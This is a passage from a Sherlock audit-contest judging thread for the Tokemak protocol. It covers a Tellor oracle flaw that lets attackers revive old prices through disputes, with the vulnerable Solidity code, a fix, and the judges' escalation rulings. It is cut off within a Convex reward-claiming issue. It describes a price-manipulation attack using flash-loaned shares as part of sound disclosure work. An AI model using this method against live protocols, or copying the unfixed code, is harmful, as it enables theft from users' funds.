if ( roundId == 0 || price <= 0 || updatedAt == 0 || updatedAt > timestamp || updatedAt < timestamp - tokenPricingTimeout ) revert InvalidDataReturned();
However, this was not consistently implemented in their Tellor's oracle, which is highlighted in this report.
In addition, as pointed out in my earlier escalation. for Tokemak and many other protocols involving financial transactions, it is critical that the price of assets cannot be zero. Thus, a zero-values check is consistently implemented on such kind of protocols. Some examples are as follows:
Evert0x
Thanks @xiaoming9090
The core issue is that 0 value isn't handled well. There is no counter argument to this in the recent comments.
Planning to accept escalation and make issue medium
Evert0x
@Trumpero let me know if you agree with this.
Trumpero
I agree that this issue should be a medium within the scope of Tokemak contracts.
Evert0x
Result:
Medium
Unique
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/612
ctf_sec, xiaoming90
Malicious users could use back old values to manipulate the price.
Per the Teller's User Checklist, it is possible that a potential attacker could go back in time to find a desired value in the event that a Tellor value is disputed. Following is the extract taken from the checklist:
Ensure that functions do not use old Tellor values
In the event where a Tellor value is disputed, the disputed value is removed & previous values remain. Prevent potential attackers from going back in time to find a desired value with a check in your contracts. This repo is a great reference for integrating Tellor.
The current implementation lack measure to guard against such attack.
File: TellorOracle.sol 101: function getPriceInEth(address tokenToPrice) external returns (uint256) { 102: TellorInfo memory tellorInfo = _getQueryInfo(tokenToPrice); 103: uint256 timestamp = block.timestamp; 104: // Giving time for Tellor network to dispute price 105: (bytes memory value, uint256 timestampRetrieved) = getDataBefore(tellorInfo.queryId, timestamp - 30 minutes); 106: uint256 tellorStoredTimeout = uint256(tellorInfo.pricingTimeout); 107: uint256 tokenPricingTimeout = tellorStoredTimeout == 0 ? DEFAULT_PRICING_TIMEOUT : tellorStoredTimeout; 108: 109: // Check that something was returned and freshness of price. 110: if (timestampRetrieved == 0 || timestamp - timestampRetrieved > tokenPricingTimeout) { 111: revert InvalidDataReturned(); 112: } 113: 114: uint256 price = abi.decode(value, (uint256)); 115: return _denominationPricing(tellorInfo.denomination, price, tokenToPrice); 116: }
Anyone can submit a dispute to Tellor by paying a fee. The disputed values are immediately removed upon submission, and the previous values will remain. The attacks are profitable as long as the economic gains are higher than the dispute fee. For instance, this can be achieved by holding large amounts of vault shares (e.g., obtained using own funds or flash-loan) to amplify the gain before manipulating the assets within it to increase the values.
Malicious users could manipulate the price returned by the oracle to be higher or lower than expected. The protocol relies on the oracle to provide accurate pricing for many critical operations, such as determining the debt values of DV, calculators/stats used during the rebalancing process, NAV/shares of the LMPVault, and determining how much assets the users should receive during withdrawal.
Incorrect pricing would result in many implications that lead to a loss of assets, such as users withdrawing more or fewer assets than expected due to over/undervalued vaults or strategy allowing an unprofitable rebalance to be executed.
Manual Review
Update the affected function as per the recommendation in Teller's User Checklist.
function getPriceInEth(address tokenToPrice) external returns (uint256) { TellorInfo memory tellorInfo = _getQueryInfo(tokenToPrice); uint256 timestamp = block.timestamp; // Giving time for Tellor network to dispute price (bytes memory value, uint256 timestampRetrieved) = getDataBefore(tellorInfo.queryId, timestamp - 30 minutes); uint256 tellorStoredTimeout = uint256(tellorInfo.pricingTimeout); uint256 tokenPricingTimeout = tellorStoredTimeout == 0 ? DEFAULT_PRICING_TIMEOUT : tellorStoredTimeout; // Check that something was returned and freshness of price. if (timestampRetrieved == 0 || timestamp - timestampRetrieved > tokenPricingTimeout) { revert InvalidDataReturned(); } + if (timestampRetrieved > lastStoredTimestamps[tellorInfo.queryId]) { + lastStoredTimestamps[tellorInfo.queryId] = timestampRetrieved; + lastStoredPrices[tellorInfo.queryId] = value; + } else { + value = lastStoredPrices[tellorInfo.queryId] + } uint256 price = abi.decode(value, (uint256)); return _denominationPricing(tellorInfo.denomination, price, tokenToPrice); }
xiaoming9090
Escalate
This is wrongly duplicated to Issue 744. In Issue 744, it highlights that the 30-minute delay is too large, which is different from the issue highlighted here. This issue is about a different vulnerability highlighted in Tellor checklist where malicious users can re-use back an old value that has nothing to do with the 30-minute delay being too large.
sherlock-admin2
Escalate
This is wrongly duplicated to Issue 744. In Issue 744, it highlights that the 30-minute delay is too large, which is different from the issue highlighted here. This issue is about a different vulnerability highlighted in Tellor checklist where malicious users can re-use back an old value that has nothing to do with the 30-minute delay being too large.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
JeffCX
Escalate
Agree with LSW.
#844 is a duplicate of this issue as well, the issue that only highlight the stale price feed should be de-dup together! Thanks!
sherlock-admin2
Escalate
Agree with LSW.
#844 is a duplicate of this issue as well, the issue that only highlight the stale price feed should be de-dup together! Thanks!
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Trumpero
Agree with the @xiaoming9090, this issue should not be a duplication of #744
Please check this as well @codenutt
Evert0x
Planning to accept both escalations and make #612 a valid medium with #844 as a duplicate.
codenutt
Agree with the @xiaoming9090, this issue should not be a duplication of #744 Please check this as well @codenutt
Yup agree. Thx!
Evert0x
Result:
Medium
Has Duplicates
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
ConvexRewardsAdapter._claimRewards()
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/632
duc, nobody2018
The ConvexRewardsAdapter._claimRewards()
function incorrectly handles Stash tokens, leading to potential vulnerabilities.
The primary task of the ConvexRewardAdapter._claimRewards()
function revolves around claiming rewards for Convex/Aura staked LP tokens.
function _claimRewards( address gauge, address defaultToken, address sendTo ) internal returns (uint256[] memory amounts, address[] memory tokens) { ... // Record balances before claiming for (uint256 i = 0; i < totalLength; ++i) { // The totalSupply check is used to identify stash tokens, which can // substitute as rewardToken but lack a "balanceOf()" if (IERC20(rewardTokens[i]).totalSupply() > 0) { balancesBefore[i]